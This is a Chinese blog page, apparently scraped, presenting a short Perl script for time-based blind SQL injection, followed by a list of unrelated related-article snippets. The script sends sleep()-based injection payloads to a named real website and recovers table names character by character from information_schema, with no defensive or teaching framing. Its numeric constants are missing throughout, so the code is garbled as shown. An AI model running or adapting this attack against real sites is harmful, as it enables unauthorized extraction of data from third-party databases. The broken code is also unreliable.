一个基于时间注入的perl小脚本
use strict;
use warnings;
use LWP::Simple; my %table_and_leng;
for(my $count = ;$count <= ;$count++){
#print "Test Table: $count\n";
my $table_length=;
my $swap = $count+;
while($table_length <= ){ print "Test Table($swap), and table_length($table_length)\n";
my $start_time = time;
get("http://www.bjmzdx.org/home/api/detail/cateId/834/id/4698) and ( if(length((select table_name from information_schema.tables where table_schema=database() limit $count,1))=$table_length,sleep(10),1) )-- -.html");
my $end_time = time;
my $fish_time = $end_time-$start_time;
if($fish_time >= ){
print "The $swap talbe_length:$table_length\n";
$table_and_leng{$count} = $table_length;
last;
}
$table_length++;
} }
foreach my $keys(sort keys %table_and_leng){
print "$keys => $table_and_leng{$keys}\n";
}
print "All table length is Done, sleep(30)";
sleep(); my %all_tables;
for(my $table_count=;$table_count <=;$table_count++){
my $table_count_swap = $table_count+;
my @table;
for(my $count=;$count<=$table_and_leng{$table_count}; $count++){
foreach my $char('a'..'z','A'..'Z',..,'_','!','@','#','$','%','^','&','*','(',')'){
print "Guess $table_count_swap -> $char\n";
my $start_time = time;
get("http://www.bjmzdx.org/home/api/detail/cateId/834/id/4698) and ( if((substr( (select table_name from information_schema.tables where table_schema=database() limit $table_count,1),$count,1)='".$char."') ,sleep(10),1) )-- -.html");
my $end_time = time;
my $fish_time = $end_time-$start_time;
if($fish_time >= ){
print "The Char:$char\n";
push @table, $char;
last; } }
}
my $table_swap = join('',@table); print "The $table_count_swap is:$table_swap\n";
$all_tables{$table_count} = $table_swap;
} open DATA, ">> back.txt" or die "Cannot write to file:$!\n";
print "\n\n------------------------------------------------------\n";
foreach my $table_keys(sort keys %all_tables){
print "$table_keys => $all_tables{$table_keys}\n";
print DATA "$table_keys\t$all_tables{$table_keys}\n";
}
print "------------------------------------------------------\n";
close DATA;
print "All Done, Please Check the file:back.txt in current dir.\n";
print "Done!\n";
关键是time获得时间
一个基于时间注入的perl小脚本的更多相关文章
- 初步学习nodejs,业余用node写个一个自动创建目录和文件的小脚本,希望对需要的人有所帮助
初步学习nodejs,业余用node写个一个自动创建目录和文件的小脚本,希望对需要的人有所帮助,如果有bug或者更好的优化方案,也请批评与指正,谢谢,代码如下: var fs = require('f ...
- 分享一个刷网页PV的python小脚本
下面分享一个小脚本,用来刷网页PV. [root@huanqiu ~]# cat www.py #!/usr/bin/python# coding: UTF-8import webbrowser as ...
- 一个基于ES6+webpack的vue小demo
上一篇文章<一个基于ES5的vue小demo>我们讲了如何用ES5,vue-router做一个小demo,接下来我们来把它变成基于ES6+webpack的demo. 一.环境搭建及代码转换 ...
- 《Advanced Bash-scripting Guide》学习(四):一个显示时间日期登录用户的脚本
本文所选的例子来自于<Advanced Bash-scripting Gudie>一书,译者杨春敏 黄毅 编写一个脚本,显示时间和日期,列出所有的登录用户,显示系统的更新时间.然后这个脚本 ...
- 随手写的一个检测php连接mysql的小脚本
最近偶然接触到一点点的php开发,要用到mysql数据库,由于mysql和php版本的关系,php5里面连接函数有mysql_connect(),mysqli_connect()两种,php7中又使用 ...
- 一个python拖库字段的小脚本
import requests import re all_column = dict() all_db = "db_zf,dg_activity,dg_activity_log,dg_ad ...
- 一个基于ES5的vue小demo
由于现在很多vue项目都是基于ES6开发的,而我学vue的时候大多是看vue官网的API,是基于ES5的,所以对于刚接触项目的我来说要转变为项目的模块化写法确实有些挑战.因此,我打算先做一个基于ES5 ...
- [Swift]LeetCode981. 基于时间的键值存储 | Time Based Key-Value Store
Create a timebased key-value store class TimeMap, that supports two operations. 1. set(string key, s ...
- LeetCode 981.基于时间的键值存储(C++)
创建一个基于时间的键值存储类 TimeMap,它支持下面两个操作: 1. set(string key, string value, int timestamp) 存储键 key.值 value,以及 ...
随机推荐
- Bootstrap 按钮,图片,辅助类
Bootstrap 按钮 任何带有 class .btn 的元素都会继承圆角灰色按钮的默认外观.但是 Bootstrap 提供了一些选项来定义按钮的样式,具体如下表所示: 以下样式可用于<a&g ...
- UIKit中的几个核心对象的介绍:UIApplication,UIWindow,UIViewController,UIView(layer)简单介绍
UIApplication,UIWindow,UIViewController,UIView(layer)简单介绍 一:UIApplication:单例(关于单例后面的文章中会详细介绍,你现在只要知道 ...
- 【bzoj1579】[Usaco2009 Feb]Revamping Trails 道路升级 分层图最短路
题目描述 每天,农夫John需要经过一些道路去检查牛棚N里面的牛. 农场上有M(1<=M<=50,000)条双向泥土道路,编号为1..M. 道路i连接牛棚P1_i和P2_i (1 < ...
- Django 2.0 学习(11):Django setuptools
应用打包 当前状态的Python包与各种工具有点儿混乱,本结我们将学习使用setuptools来构建应用包.该工具是强烈推荐使用的打包工具,之后我们也会使用pip去安装和卸载它. Python打包指的 ...
- openstack中间件message queue 与memcached环境部署
为什么要安装中间件 组件间的通信使用的是REST API 而组件内部之间的通信则是使用的中间件 首先登陆openstack的官网查看官方文档 www.openstack.org 应为在部署一个架构之前 ...
- BZOJ3437 小P的牧场 【斜率优化dp】
3437: 小P的牧场 Time Limit: 10 Sec Memory Limit: 128 MB Submit: 1502 Solved: 836 [Submit][Status][Disc ...
- UVA.297 Quadtrees (四分树 DFS)
UVA.297 Quadtrees (四分树 DFS) 题意分析 将一个正方形像素分成4个小的正方形,接着根据字符序列来判断是否继续分成小的正方形表示像素块.字符表示规则是: p表示这个像素块继续分解 ...
- props设置state误区
class Component extends React.Component { constructor(props) { super(props); this.state = { value: t ...
- Linux之socket套接字编程20160704
介绍套接字之前,我们先看一下传输层的协议TCP与UDP: TCP协议与UDP协议的区别 首先咱们弄清楚,TCP协议和UCP协议与TCP/IP协议的联系,很多人犯糊涂了,一直都是说TCP/IP协议与UD ...
- Transformation 线段树好题 好题 (独立写出来对线段树不容易)
Transformation Time Limit: 15000/8000 MS (Java/Others) Memory Limit: 65535/65536 K (Java/Others)T ...